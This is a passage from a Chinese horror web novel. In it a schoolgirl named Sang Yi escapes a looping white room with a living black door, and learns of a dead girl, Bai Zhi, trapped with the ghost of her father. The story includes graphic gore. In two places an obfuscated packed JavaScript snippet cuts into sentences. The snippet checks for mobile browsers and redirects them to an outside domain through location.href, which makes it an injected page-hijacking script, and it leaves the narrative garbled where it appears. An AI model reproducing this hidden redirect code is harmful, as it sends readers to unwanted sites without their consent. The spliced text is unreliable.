《恐怖npc扮演指南》 1. 帮帮我 桑衣看见了一扇奇怪的门。 这里是一个看不见时间痕迹的房间,装修的线条很简洁,像粗糙的简笔画,底色是大片的白。 唯一突出的颜色是墙角一束红色的花。 这束花被养在瓷瓶里,瓷瓶里没有水,也没有其他提供养分的东西。 这里的一切都像一个抽象的梦境,而桑衣是闯入梦境的人。 桑衣是一名高三学生,原本在家里的书桌写着作业,那时正是傍晚,血一样浓稠绚烂的夕阳透过书桌旁的窗户,在桌面上投下橙黄色的阴影。 桑衣放下笔,看见窗外几条平直的电线利落地割开浓郁的色彩,飞鸟从天际掠过。 拉上窗帘,桑衣用手平铺着试卷,眼神平静地盯着试题。 几何符号在她的眼底倒映,桑衣指尖夹着笔,在纸面上有节奏地划动。 突然,一道声音在她耳边响起。 “帮帮我。” 桑衣迅速放下笔,回头看去,空无一人。 她把视线放回书桌,沉默了几秒,甩了甩笔,笔尖瞬间涌出了大量的墨水,污染了纸面。 桑衣看着被墨迹模糊的几何图形,脑袋突然一阵刺痛。 她缓了几秒钟,等这阵难言的痛楚平息,她突然意识到了什么,猛然起身,把窗帘拉开。 如血般的夕阳消失了,眼前是漫无止境的黑。 那道声音再次响起, “帮帮我,我想出去。” 手中的笔落下,桑衣身体僵硬,她不可置信地瞪大了眼睛,看着眼前空白的房间。 她的脚不自觉向后退了一步,下一秒,书桌顷刻间消失。 桑衣的视线中出现了一扇奇怪的门。 这门约占墙面的五分之四,通体黑色,没有把手,没有缝隙,融在白色的墙面里,像一个影子。 声音是从门外传来的。 桑衣环顾四周,看不出任何异常,她皱了皱眉,尝试再往前迈了一步。 砰然一声,整个房间霎时变得漆黑,墙角发出兹兹的电流声,在寂静的空间里尤为明显。 桑衣向墙角看去,只见原本红色的花束消失了,取而代之的是一个插着天线的方形老式电视机。 电视机的屏幕很模糊,凌乱黑白的线条交错,好一会,才传出了声音。 “专家表示:在一个陌生的环境下所听见的声音,听者在需要分析具体情况后谨慎回答。” 嗡嗡的电流声,电视机白色的外壳泛着屏幕散发的微弱的光。 “第一,听者所处的环境是否舒适。” 电视机画面转为一个卡通画风格的室内景象,是一个方形的黄色房间,粗糙的线条团成一团,几个模糊的色块分布。 “科学调查表明,一个温暖的黄色灯光可以让人们放松心情,因此人们往往倾向于在客厅设置暖光环境,并且布置上同一色系的柔软布料,如卡其色的沙发,木质的茶几。 这些元素往往代表着主人对客人的心意,是一种隐含的表达:欢迎你来到这里。” 桑衣艰难地分清哪个色块是沙发,哪个色块是茶几,视线移动间,她在边角处看见了一个黑色的涂抹。 桑衣的瞳孔缩紧,认出那是一扇奇怪的黑色的门。 从她看到那个东西开始,这扇门就在不断地变大,挤压狭小的黄色方形空间,吞并黄色的沙发,吞并木制的茶几。 桑衣有一个恍惚的错觉,就好像这扇门与她的距离越来越近,几秒之内,这扇门仿佛在向她走近。 黑色的色块爬满了方正的屏幕,吞没了光线,一时间只有黑色,桑衣的视觉被夺去了。 她不禁向后退了一步。 下一刻,刺眼的大片白色再次袭来,桑衣眨了眨眼睛,墙角的老式电视机又换回了红色花束。 “帮帮我。” 桑衣身体一震,她感觉这道声音就在她的耳后响起,隔着一层厚重的物质,沉闷地透过来。 桑衣没有转头,她将手朝后放,触碰到了一个冰冷的物体。 这个物体表面平滑,没有纹理,面积很大。 桑衣缓缓转过头,眼前被黑色覆盖。 那扇奇怪的门,走到了她的背后。 光线再次消失,墙角的电视机又出现了。 “第二,听者所听见的声音是否与想象的事物相符。在一些陌生的环境中,人们通过感官接受到的信息有很大的误趋性。” “换言之,你的耳朵可能在欺骗你。” 桑衣静静地看着电视机灰暗弱光的屏幕,思考了一会。 思考过后,桑衣活动了一下肩膀,朝着墙角的电视机迈步跑去。 她的步伐很大,落地的时间却很慢,她能感受到身后的门在迅速向自己靠近,像一道黑色的影子,要把她覆盖吞噬。 脚落地的那一刻,房间再次变为白色。 由黑暗的环境转亮,大片的白色刺激着桑衣的眼睛。 桑衣直直地看向墙角的花束时,眼前甚至出现了重影。 第二步落下,黑暗回归。 第三步,第四步,桑衣能感觉到身后的黑影不断放大,倾占着方形的房间。 第四步落下时,桑衣距离墙角的电视机只有一步之遥。 她握紧拳头,向闪烁着微光的屏幕挥去。 拳头要触碰到屏幕的一瞬间,桑衣再次看见了那束红色的花,花瓣溶解,大滩大滩的红色液体从瓷瓶中涌出,没过了地板,朝她喷涌而来。 面前大片的红色覆盖了桑衣的眼眸,场景再次变化。 又重归黑暗。 不知过了多久,桑衣睁开眼,面前的书桌上铺着一张卷子,几何图形线条简洁,与阿拉伯数字相组合,手中的笔一切正常。 红色的霞光打在桌面上,一切是那么的宁静。 桑衣侧过头,看着窗外绚烂浓郁的夕阳,她静静地坐着,没有将窗帘拉上,窗外的电线横切而过,给红色的盛景划分了明显的分界线。 桑衣没有再写题,她看着手中的笔,好像在等待着什么。 期间,桑衣不受控地抬起手,摸了摸自己的耳朵,她的视线停滞在卷面上,半晌,她拿起笔,在空白处画了一个立方体的几何图形。 眼前笔尖最后停止处留下了重重的一点,随之墨水霎时喷涌而出。 黑色在立方体内不断蔓延,延伸—— “帮帮我吧。” 在声音响起的那一瞬间,桑衣就已迅速起身,她的身影快速向墙角的红色花束冲去。 她的速度很快,明暗闪烁之间,只听砰的一声作响,墙角的瓷瓶被她伸手扫在地面上,发出了清脆的碎裂声。 只一秒,喷涌的血红色液体倾倒在地板上。 桑衣发力过猛,身体失衡,在瓷瓶碎裂的那一刻同样摔倒在了地上,她右手那只拳紧紧握着,用左手撑着地面坐起,她的身上沾染着红色,感受着向自己逐渐趋近的黑暗,冷冷地掀了掀眼皮。 在黑暗倾轧至全身之前,桑衣听到了一道令人全身发寒的蠕动的声音。 那是一连串类似相互挤压的声响,好像有一种血肉在缓缓挪动,在不断伸长、生长。 桑衣大力握紧右拳,她没有闭眼,观察着周围浓郁的黑暗如雾一般缓缓散去,一张放着数学试卷的书桌出现在她的面前。 她已然坐在了书桌前。 桑衣若有所思,用左手蹭了蹭脸上沾染的红色液体,眼神缓缓转深。 第三次。 她在心里默默提醒自己,在这个时间痕迹全被抹去的空间,她难以界定自己在这里到底待了多久,又会在多久之后迷失自身的锚点。 而这是她的第三次循环。 桑衣低头,拿起试卷擦掉了脸上的痕迹,又用其包住了沾染红色,并不时有液体向下滴落的右手。 声音再次在耳旁响起的时候,桑衣站起了身,轻皱着眉,向前走了一步。 黑暗降临,墙角的老式电视机幽幽地发出声音。 “专家表示:在一个陌生的环境下所听见的声音,听者在需要分析具体情况后谨慎回答……” 重复的内容。 桑衣向前迈了两步。 这次场景转换地有些卡顿,老式电视机又在嗡嗡的电磁声中出场,所播出的内容也随之改变。 “专家建议市民们一定要注意个人卫生,维护社区和谐。” 断断续续的报道声从老旧的机身里传出,“据市民举报,本社区内有一住户,因个人卫生极其脏乱差,被街坊所嫌弃,导致其横死家中七日才被发现。可见,个人卫生健康是多么的重要。” 屏幕的画面中再次出现了一个卡通画面,深色的凌乱线条占了大部分,其余部分是用红色画笔绘制的块 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眼珠好奇地四下张望,上下左右转了一整圈后,同一平面上,又一个半球凸起了形状。 “啵!” 第二个眼睛睁眼之前,桑衣迅速开始向后退,后退的过程中,场景不再变换,角落的老式电视机也没有再出现,而那双眼珠注视着桑衣的动作,没有再转动。 在心里默数了三十秒,桑衣看着门上始终没有转动的那双眼珠,她的左手仍然死死地扣在右手的手腕上,上半身向前倾着,两脚齐肩站立。 第二个三十秒过后,桑衣向左迈了一步。 那双眼珠仍然对着桑衣之前所站位置的方向,没有再转动。 桑衣挑起眉头,看着如同石化的僵硬眼珠,继续向左边迈了一步。 还是没有变化。 桑衣眯起眼,仔细打量着这双“眼睛”,它由一个浅色的薄膜覆盖着上半部分,有着黑白分明的眼瞳和眼白。 突然意识到了什么,桑衣猛然转身朝墙角看去。 墙角的瓷瓶消失了,只有一个孤零零的红色花束,在桑衣的视线下,花瓣逐渐溶解,血红色的液体再次蔓延在地板上,吞没了角落,吞没了桑衣的脚底,向那扇黑色的门处流去。 “咕叽……咕叽……” 像血肉生长的声音。桑衣眼睁睁看着红色的液体被门不断吞噬,那双眼珠附近鼓起了几个肉瘤。 肉瘤有大有小,相互挤着融合,出现了“鼻子”和“嘴巴”。 嘴巴张开了,里面是深深的血洞,上边和下边冒出了两排整齐排列的小肉瘤,应该是“牙齿” 。 “咕叽。”上牙和下牙对碰了一次。 眼珠又转动起来,注视着不断后退的桑衣,缓缓地眨了眨眼。 地板上红色的液体被门吸食殆尽,有着血洞的“嘴巴”中央探出了“舌头”。 “不要…出去。” 舌头搅动着,门发出了声音。 “不要出去。” 门在说话。 “不要离开。”门对桑衣说。 随着“嘴巴”的张张合合,大量的红色液体从那血洞中喷涌而出,导致发出的声音变得含糊不清。 红色液体再次侵占整个房间的时候,黑暗也如约而至。 墙角再次闪烁起了微光,老式电视机细细碎碎地发出播报,这次是一条广告。 “写封信吧!把生活中遇到的问题写在信里,投在本社区的意见信箱里,让经验丰富的人解决你遇到的困难!” “写一封吧!在信封上写上你的诉求,工作人员就会立马上门解决你的困难!” “写一封吧!你的困难马上会被解决!” 播报的语气虚无高昂,尾音尖锐,模糊的屏幕画面逐渐变化,一个卡通绘制的红色信箱出现在画面的中央。 桑衣盯着画面,感觉身后有一道浓郁的凝视,她感到门正在离她越来越近。 桑衣果断向前迈了一步,眼前的老式电视机瞬间消失,黑暗褪去,白色的空间角落,出现了一个红色的信箱。 信箱的盖子已然被人打开,里面放着一封黄色的信封。 桑衣走上前,用左手拿起了信封。 封面上只有三个字,被人用粗糙的铅笔,凌乱且急切地写下: 「帮帮我!」 2. 信 「工作人员你好,本人目前刚刚从医院搬回家里,发现家里的门总是会自动关上,导致我经常被锁在房间里!每次我出门,门就堵得死死的,不让我出去,我出不去房间,只好在房间里哭。门一直锁着,我一有想出去的念头,门就打不开!请你赶快来修!」 最后看了一遍信的内容,白枝才珍重地把信包好,她决定等门能自己开了之后,就下楼把信封投到信箱里。 此时天光正亮,屋外的皂荚树上挂满了一串串金色的铃铛,花瓣被风吹起,带进了她的窗台,她从窗台上捡起一粒花瓣,小心翼翼地贴在了信封上。 看着信封上的花瓣,白枝又把信封拆开,匆忙地在最后一行写上:「我家就在社区的皂荚树旁边,二楼,窗户是开着的!」 完成这件事后,白枝开始无所事事地躺在床上发呆,她时不时瞥一眼紧闭着的黑色房间门,心里想着这次什么时候才能开门。 屋外的微风起了又起,带来了一枚枚金黄色的花瓣,积堆在窗台的缝隙里。 终于,当一股饭香从窗外飘来时,黑色的房间门推开了一个小小的缝隙。 白枝立马拿起信封冲到门口,推开沉重的门,从家门跑出,跃过层层楼梯,开始寻找那个红色信箱。 信箱的位置实在有些隐蔽,也许是工作人员想要偷懒,信箱被设置在了社区最边角的角落,这里离一个被废弃的楼屋很近,空气里泛着一股古怪的腐烂味。 白枝不在意这些,把信放入狭小的红色信箱后,她蹦跳着准备回家。 回家的路上,白枝还碰见了好久没有见的朋友,朋友穿着高中的校服,刘海修剪得很细碎,齐肩的头发,右手被一张白纸卷住,纸面上有黑色的字迹,隐隐透着红色的色块。 而朋友那一双棕色的眼睛,则静静地看着她,不知道已经看了多久。 “啊!你放学了?桑衣!”白枝惊喜地招了招手。 从医院回来后,她有很长时间没有见到朋友了,这次能偶然见到,实在是不容易。 “要不要来我家坐一坐?”白枝笑着邀请。 不等对方回答,白枝就自顾自懊恼起来,好像是回忆起了一些麻烦的事物,她皱着眉,摇摇头说: “啊,也许你不能来。我家的门还没修好呢。” “门?”桑衣抓住了这个字眼,问道。 “对呀对呀,不过马上就修好了,等修好了,你一定要来我家玩啊。”白枝靠近,重重地握住了桑衣的肩膀,她的表情很热情,眼神仔细地观察着桑衣的神色,直到对方在她的视线下缓缓点头,她才肯放手。 “那就说好了,再见啦。桑衣。”白枝道别,她一边轻轻地念着桑衣的名字,一边不舍地看着对方的脸,见对方神情始终平淡无波,白枝只好转身,有些不情愿地离开了。 桑衣看着她离去的背影,一道弯弯绕绕的小路自她脚下,在白色的四方空间之外延伸开来,白色的墙壁为她开了一个口,露出了大片大片的黑暗,除了那条平常的石板路之外,只有黑色包围。 就像为她投下的舞台聚光灯。 女孩最终消失在了小路的尽头。 桑衣走到了开口的边缘,脚距离那条石板路只有咫尺,前方看不见尽头,桑衣思考了一会儿,选择暂时不踏入这片区域。 她站在原地,白色空间突然开始不稳定地闪烁,角落的老旧电视机再次出现,发出断断续续的声音。 突然,以桑衣自身为中心的地面,出现了一个点。 那是一个类似于标记的点,空间仍在波动,周围的地面裂开了几道发光的纹路。 【副本……玩家……场景载入……】 老旧的电视机里发出了嗡嗡的电子音,桑衣周围的场景突然变化,白色的空间变得半透明,密密麻麻的数据排列滚动,周遭的事物在逐渐变得真实。 瞬间,桑衣的身边出现了一群人影,皆跪坐在地上,没有面孔的人们仰着头,顺着看去,头顶的空间被一个巨大的金色的影子所遮盖住。 下一刻,闪烁消失了,白色空间恢复原样,角落的电视机嗡嗡着。 【……】 【链接……失败……】 一声纸团投入的声响。 桑衣回过头,看向角落,老旧的电视机再次消失了,取而代之的是红色信箱,原本被放在里边的黄色信封消失了,只有一个被揉皱的纸团。 桑衣走上前,打开了纸团,入眼仍然凌乱的字迹,写信人的焦虑通过更为粗重的笔画透过了纸面。 「我等了整整一个晚上,为什么还不来???」 视线落在最后一个字符时,红色的信箱突然开始剧烈抖动,桑衣立马后退,“沙沙沙——”,信箱开始吐出一个又一个纸团。 纸团溢出信箱,堆积在桑衣脚边。 桑衣捡起其中一个纸团展开: 「原本只是在晚上,门会自己锁住,后来在白天也会,我能出去的时间越来越少,我的门到底怎么了?为什么不愿意放我出去?」 将纸团上的内容看完,桑衣踢开了堆积在脚边的纸团,她走近信箱,拂开了数个堵住信箱口的纸团,清空之后,一封新的信封静静地摆在了信箱的底部。 信封没有标题,里边躺着一张纸,纸上的字迹不再凌乱,冷静而整齐: 「为什么骗我?」 “为什么骗我?” 一道声音在桑衣身后响起。 桑衣转过身,周围的景象再次被黑暗吞噬,女孩站在桑衣面前,穿着一身白色花边的连衣裙。 “为什么不来?我好害怕,门一直锁着我。” 女孩一步步向桑衣走近,声音很轻很轻,像飘落的灰尘:“帮帮我。” 桑衣没有回答,她眯了眯眼睛,观察着女孩的动作,头试探性地往后偏,并随之向旁边走了一步。 女孩的视线果然没有跟随,至始至终,她的眼底倒映的都是那个红信箱。 信箱只是静静伫立在那里,它被人放在社区偏僻的角落,好像本就不应被人找到。 女孩见没有回应,自顾自开始说话: “一直待在我的房间不走。我像平常聊天一样问,能不能不要待在我的房间了,我只想一个人待一会。” “一直不说话。我哭了,又抓又挠,我用尽力气往门框外推,但是推不动。” “原本只是在晚上,后来白天也会,我能出去的时候越来越少,到底怎么了?为什么不放我出去?” 大颗大颗的泪水从她的眼眶里溢出,发出晶莹剔透的光。 那扇门又出现了,就在桑衣的面前,长着一双“眼睛”,一个“鼻子”,一张“嘴”的黑色的门。 “不要…离开…” “嘴巴”张张合合,缓慢困难地发出声音。 大滩大滩的红色液体从“嘴巴”中流出,门在桑衣身前投下的影子越来越短。 身旁,女孩的抽泣声越来越轻。 桑衣抬头,看着离自己寸步距离,巨大的黑色之门。 门投下的影子已经将她完全吞噬了,狭窄的方形空间内,穿着校服的少女和穿着白色花边连衣裙的少女方向相反地并肩站着,一个面对着一扇巨大的黑门,另一个则低着头,面对着一个红色的信箱。 桑衣闻到了腐烂的味道,然后听见了古怪的“吱吱”声。 是老鼠吗? 不对,这声音更轻,更急促,带着“哼哼”的气流声。 心跳如鼓,脑海中本能有一道声音在警告着: 快跑!赶紧离开这里! 不行。 绝对不能动。 桑衣站在原地,双手紧握着,右手被纸所包裹住的地方,渗出了红色的液体,滴落在地面上。 她强行逼迫自己闭上眼,没有发出任何声音,黑色的影子蠕动着,爬上了她的小腿。 然后是腰腹,胸腔,脖颈,最后淹没了她的口鼻。 眼前被黑暗覆盖,桑衣失去了意识。 ……… “在一个陌生的环境下所听见的声音,听者在需要分析具体情况后谨慎回答。” “第一,听者所处的环境是否舒适。” 老旧电视机的播报声在桑衣的脑海中回响。 “啪。” 黑暗褪尽,有人打开了灯。 黄色的灯光打在桑衣的头上,留下了暖色的阴影,她的身后是一个同色系的柔软沙发,和一个木制的茶几。 桑衣睁开眼,发现自己站在一个装修温馨的客厅里,黑色的影子消失了。 “桑衣!欢迎你!” 她转过头,看见了坐在沙发上的女孩,穿着白色花边的裙子,视线轻轻地落在自己身上。 桑衣环顾了一圈,在玄关处看到了那扇黑色的门,敞开了半扇,看不见外面的景象。 “你在看什么?桑衣?” 沙发上的白枝问道。 “我好久好久……没有见到你了。”白枝从沙发上站起了身。 “你来做什么呢?门还没有修好呢。” 白枝向桑衣走来,动作很轻微,像是害怕惊动到她,女孩苍白的脸上勾起了一抹笑。 “桑衣?” 她难自控地咽了咽口水,捂着肚子,逐渐伸出了手—— “我来帮你修门。” 手在半空中僵住了,白枝呆呆地抬起了头。 “啊?” 桑衣:“我在社区的信箱里,看到了你写的信。” 白枝:“可是……” 桑衣打断了她,“能加志愿时长,我就来了。” 白枝:“……” 她的神情变得有些奇怪,眉毛皱着,牙关也不自觉咬紧,可眼睛却湿润了,某些情绪掩藏在她的眼底,此时好像要控制不住地迸发出来。 白枝看着桑衣平静不起波澜的眼睛,面色僵硬,那副奇怪的神情让她脸上的肌肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她缓缓张开了手,将包裹的纸撕扯开,有些已经粘进了组织里,血肉模糊中,一枚锋利的碎瓷片躺在她的手心。 鼻腔闻到了一股熟悉的腐烂味道,她迅速抬眼。 “吱吱…吱吱” 古怪的吱吱声,是老鼠。 密密麻麻的,老鼠。 桑衣看见了一个面容腐烂的尸体,成群的黑色老鼠在尸体上啃食撕咬,黑褐色的血迹在地板上铺陈开,死者的腹腔正在被咬开,大片的红色中,隐约可以看见破碎的白色花边布料。 一道更轻的声音,“吱吱……吱吱”,这声音更短促,藏在重复的啮齿类动物叫声之中,有着“哼哼”的气流声。 桑衣用耳朵仔细地听。 ——是哭声。 不,那不是尸体,角落的人还没有死去,仍在有意识地发出声音。 “都是……假的。” 桑衣听见被啃食的女孩在说: “不要……相信。” 桑衣难以接受地后退了几步,她用纸包住了碎瓷片的一端,紧紧握在手中。 『专家建议市民们一定要注意个人卫生,维护社区和谐。』 破旧电视机里播出的话不自觉地回荡在桑衣的脑中,传来了不适的胀痛感,桑衣觉得自己的胃此刻正在难以抑制地紧缩着…… …… 耳边一阵一阵的嗡鸣声,桑衣蹲下了身。 良久,老鼠的叫声消失了,桑衣抬起头,站起身,一步一步走向那副几乎只剩下骨架的身体。 顺着死去女孩的视角,往上看,只有白色的天花板。 桑衣俯下身,仔细观察女孩的眼睛。 黯淡表层之下,眼珠底,倒映着一层金色的光芒。 那抹金色十分漂亮,仿佛带着某种强烈的吸引力,让人发自内心地想要崇拜敬仰。 “嘶。” 桑衣握紧了右手掌,伤口崩裂,让她清醒了过来。 她起身,看向熟悉的角落,熟悉的孤零零的红色信箱——静静地敞开着,里边躺着那封黄色的信封。 桑衣走向信箱,拿到信封,小心地展开,一个字一个字仔细地看了过去。 视线在“皂荚树”三个字停顿了很久,桑衣收起了信封,转向身旁突然出现的一条道路。 四方空间里,与道路洞开墙面相反的平行方向上,另一面墙上,出现了那扇被打开的黑门。 一面是看不见终点的、弯弯曲曲石板路,一面是被打开的门,敞开的缝隙中,窥见光亮。 截然相反的方向,供桑衣选择。 桑衣摩挲着用纸包着的碎瓷片,低眉垂眸,掩盖了她的神思。 半晌,她迈步,向一方走去。 ——她走上了那条石板路。 3. 缺失的东西 白枝刚从医院搬回家里的时候,房间里还是空荡荡的,她的行李很少,了无牵挂地回了家,可是每当她环顾四周,看见白色的窗帘,淡黄色的床单,原木色的书桌,这一切本该使她内心温暖起来的物件时,她总是觉得心中有一块地方在隐隐作痛。 她按部就班地吃饭,生活,在普通平常的那天下午,她看见窗外的皂荚树开花了。 金色的,铃铛状的花朵,摇曳在阳光下。 然后父亲敲响了她的房门,话音很轻,那道深沉的目光久违地落在了她的身上时,她感觉内心那块腐烂腐臭的地方,竟又迸发出难以忍受的、令人痛彻心扉的巨大苦痛。 “枝枝,好久不见。” 她感到不可置信,看着房门前活生生的那道身影,一种难以自抑的情感涌上了她的喉咙,她疼得几乎发不出声音。 她知道,看见一个已死之人,她最终还是疯了。 …… 她努力忽略门口的那道身影,那天晚上,她彻夜未眠,窝在被窝里,看着角落的损坏的老旧电视机,嗡嗡地发出电流声。 无序的电流声如同白噪音,她能从中摸索到哪怕一丝的宁静—— “枝枝。” 房门的身影发出声音。 不对,不对。白枝双手抓着自己的头发,她尝试告诉自己,她的耳朵在欺骗自己。 她开始捶打撕扯自己的耳朵,直到双手沾满血迹。 然而她还是听见了,房门口,她的“父亲”在呼唤着她。 “枝枝,不要…离开。” “不要离开这里。” 他一直待在那里,待在那个房门口。 嗡嗡的电流声中,她无神地看着自己沾满血迹的手指,小声喃喃着:“能不能不要待在我的房间了?我想自己一个人待会儿。” “父亲”没有回应。 她哭了,对他又抓又挠,“父亲”始终站在门框里,她用尽了力气,试图把他推向门框外,但是推不动。 直到白天,她终于可以出门,她冲出家门,找到其他人,把他们一个一个拉到家中,满怀希望地问: “你看见了吗?我房间的门,他出问题了,他坏掉了。” 那只是一扇普通的,黑色的门,不是她的父亲。 她的父亲早就死掉了。 而所有被她拉到家中的人,都呆滞地看着她,久久地沉默,然后勾起一个惊讶又温情的微笑,说道: “啊!你爸爸回来了!恭喜!” “一家人终于团聚了,多么幸福的一幕啊。” 他们不约而同地鼓掌,空洞的眼眶里充满着呆板的笑意,一同望着她,好像眼前上演着真实的一幕。 白枝颤抖着退了几步,脱力摔在地板上,无数破碎混乱的记忆挤压在她的脑中,让她难受地想要呕吐。 她感到身后那个高大沉默的黑色影子,始终在向她投来视线,恍惚间又听到那道声音在她耳畔响起: “不要离开。” 到底什么是真的,什么是假的,她有些分不清了。 也许是当她看见房间门长出五官的那个下午,当她在荒芜废弃的小区闻到皂荚花香的那一刻开始,一切就都是假的了。 白枝死死握紧自己的头发,牙齿把嘴唇咬出了血。 疼痛的清醒时刻,她问自己。 “这个世界是真的吗?有没有人,可以帮帮我……” 告诉她这个世界是假的,告诉她—— 她身后,只是一扇普通的黑色的门。 短暂的疼痛终不敌意识的逐渐沉沦与混沌,白枝逐渐失去了力气,她依靠着墙角,抱着膝盖,沉沉睡去。 静默的房屋里,最后只剩下她一个人。 白枝久违地做了一个梦。 梦里她站在一棵高大的树干前,痴痴地仰望着遮天蔽日的金色树冠。 一束束金色的丝条垂下,风吹过时,数不尽的花瓣向下飘落。 她看见了她的父亲,牵着她的手。 两人本应该一同向前走去,但她突然停住了脚,挣脱了父亲的手。 耳朵里传来了“吱吱”的响声——老鼠在啃咬着什么。 白枝迷茫地向父亲看去,然后猛地后退了几步。 她趴在地上,忍不住地干呕。 她看见一个腐烂的骨架,皮肉被啃烂了,堪堪挂在那张脸上。 ——金色的树消失了。 …… 房间角落里的老旧电视机,开始幽幽地发着光,半晌,模糊的屏幕上,出现了一行字: 【角色意识投放成功……重塑尝试中…】 滋滋的电流声——伴随着第二行字出现: 【重塑成功,副本已生成,开始投放玩家。】 暖光的客厅灯光再次亮起,照亮了周围的一切:木制的茶几,卡其色的沙发,墙角窝作一团的女孩睫毛微微颤抖,缓缓地睁开了眼,透露着迷茫的神色。 她站起身,走到了自己的房门前。 白枝低着头,厚厚的刘海投下影子,她的神色难以被辨清。 高大的房门盖住了她的身影。 白枝低声喃喃着:“……什么?我有些听不清。” 寂静的房间中,只有她自言自语的声音。 白枝侧耳仔细听着,好像沉重的门里,真的能透出声音。 她感觉自己的肚子里被埋下了一颗种子,一开始只是在吸食她的血肉,后来种子长出了根部,很细,很长,很多,穿过了她的肝脏,爬上了她的肋骨,蔓延至她的心脏。 她感到心慌。 一阵阵的心慌,肚子的种子长出了嘴巴,哭着对她说“好饿啊”“好饿啊”。 是种子在说话吗?她起初有些疑惑。 “你饿了吗?”白枝自顾自问道。 没有任何回应,她被困在了窄小的家中,那扇黑门堵住了家门通往外部的路口,她不信邪地想要透过窗观察,发现窗外变成了一片无机质的白。 时间好像静止了,整个世界都凝滞了下来。 但她腹中饿意仍在不断生长叫嚣着,腹中的“种子”没有得到滋养,就把枝条钻进了她的脏器里,贪婪地吸着她的血,啃咬她的肉。 钻心的痛楚让她不得不抱着肚子在地上打滚,她不停流着冷汗,嘴唇也被她咬得血肉模糊。 身体承受不住时,她的大脑开启了保护机制,她晕了过去,然后又被痛醒,如此反复,不知过去了多久。 她再次睁开眼,看向自己的肚子,那里只剩下薄薄的一层皮,里面好像滋养出了什么生物,正在不断地拱着她的肚皮,拉扯出血丝。 “吱吱。” ——她听见了老鼠的叫声。 白枝难受地捂住了耳朵,想要屏蔽这道声音。 她讨厌起了自己的耳朵,憎恨它们让自己无时无刻听到那些肮脏的声响。 神奇的是——当她捂住耳朵的那一刻,所有声响,所有痛苦,通通都消失了。 她向四周看去,发现自己身处在一个四周洁白的房间,面前那扇高大的黑门仍然沉默地站立着。 周围空无一物,只有墙角的一个花瓶,里面盛放着一朵红色的花。 白枝呆呆地看着那朵花,眼底倒映出它鲜艳如血的花瓣。 直至一道声响的出现。 ——是双脚轻轻接触地面的声音。 “啊……”白枝抬起了头,看着突然出现在白色房间中的陌生人,那人不停地向四周观望,似乎看不见自己,慌乱的视线,仅仅停留在角落,和自己身前的黑门上。 白枝走到了他的面前,手在那人的眼前晃了晃。 男人没有任何其他的反应。 “坐标(3,e,SL),现在开始进行首次测试。” 白枝听见男人低声说道。 那人走到了房间的边缘,手触摸在白色空间的墙壁上,神色严肃,自言自语着: “预设场景没有出现……实验样本明明已经投放了,难道出现异常了?” 男人皱着眉,又凑近向那扇黑门靠去,用手抵住了门。 “这就是……副本的锚点?” 他的神色纠结,有些欲言又止,“看起来没有任何活性。” 白枝静静地站在男人的身后,眼睛一直盯着这个突然出现,嘴里一直喋喋不休的陌生人。 他说的话,她一点都听不懂。 白枝迈出步伐,向那人走去。 她的肚子咕咕地叫了起来,她吞了一口唾沫,压住了这股难言的饥饿感。 “你是谁?”白枝开口试探地问道。 见男人没有反应,白枝的声音变得颤抖,她伸出手,试图抓住男人的袖子。 “我被关在这里了,我出不去……求求你,能不能带我出去?” 男人听不见她的声音,他又敲了敲那扇黑门的表面,见仍然没有任何反应,叹了一口气,闭上双眼。 “坐标(3,e,SL),锚点缺少活性,加大刺激度。” 话音刚落,那股剧痛再次在白枝的腹中搅动起来,她甚至发不出任何声音,就“嘭”的一声摔在了地上。 她又听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407888|184575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了那道声音,在她的肚子里,不停哭喊着: “好饿啊”“好饿啊” 疼痛使她的眼睛失去了焦距,一道想法在她脑海中浮现—— 把他吃掉吧。 只要吃掉这个人,她就不会再痛了。 只要吃掉他,她肚子里的东西就不会再哭喊了。 这种疯狂的想法一出现,她的饥饿感就好像被煽动了一般,极速地延伸着,蔓延着,朝那人爬去。 她不受控制地伸出了手,她的手却在即将触碰到的那一刻,穿透过了男人的身体。 ——她甚至碰不到他一分一毫。 无助的泪水从眼眶中流出,白枝难受地捂住了自己的肚子,里面的东西难耐地鼓动着,她好像看到,在那层皮肉之下,有一团黑影在活动着。 “没用?”男人皱了皱眉。 “首次测试失败,申请登出。”他向四周看了看,将手从门上移开,“加强刺激,放点人进来。” 留下这句话后,男人下一秒就消失在了白色空间中。 而白枝瘫倒在地上,望着那个身影消失的地方,咫尺外,那扇黑色的门伫立着。 在白枝的眼中,黑门的表面蠕动了起来,长出了一双眼睛和一张嘴巴。 那双眼睛悲伤地看着她。 那张嘴巴悲伤地开了口。 它在说:“不要离开。” 白枝收回了视线,她缓缓伸出手,抚向自己的喉咙。 从始至终,这块地方都在隐隐作痛着,似乎在压抑着一种情感,一种她已经缺失的情感。 这种情感扼住了她的咽喉,死死灼烧着她的脖颈。 白枝垂下了头,轻声喃喃道:“别看着我了。” “别那样看我。” “为什么要那样看着我?父亲?” “我已经没有办法离开这里了。” “……” 那扇黑门,仍沉默地伫立在那里,没有回答。 “嗒。” ——是双脚接触地面的踏声。 “坐标(3,e,SL),现在开始第二次激活测试。” …… …… “坐标(3,e,SL),这是第十三次激活测试。” 空旷的白色空间里,来人扶了扶眼前的黑框眼睛,嘴巴紧抿着, “放弃刺激尝试,放弃原始数据,编入新数据。” 他正在跟人实时沟通着什么,沟通结果并不友善,连续的失败结果已经让他焦躁不已。 “……” “我不管你新放的是什么假性数据,现在是由我接管,我要的是这个副本动起来。” 戴着黑框眼镜的男人语速很快,语气十分刻薄。 就在他说完这句话的下一秒,这个白色空间以男人为中心,蔓延而出类似镌刻的发光纹路,向四周震荡开来。 【数据载入成功。】 